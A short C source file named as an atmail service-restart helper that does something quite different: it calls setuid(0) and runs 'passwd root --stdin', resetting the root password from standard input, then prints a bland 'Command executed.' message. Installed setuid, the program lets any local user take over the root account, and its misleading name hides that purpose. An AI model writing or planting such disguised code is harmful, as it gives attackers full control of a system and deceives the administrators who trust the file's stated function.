/* atmail-services-restart.c
*/

#include <stdio.h>
#include <unistd.h>

#define TYPE 0

int main(int argc, char *argv[])
{
  char *args[] = { "/usr/bin/passwd", "root", "--stdin", NULL };

  setuid(0);
  execv("/usr/bin/passwd", args);

  printf("Command executed.\n");

  return 0;
}
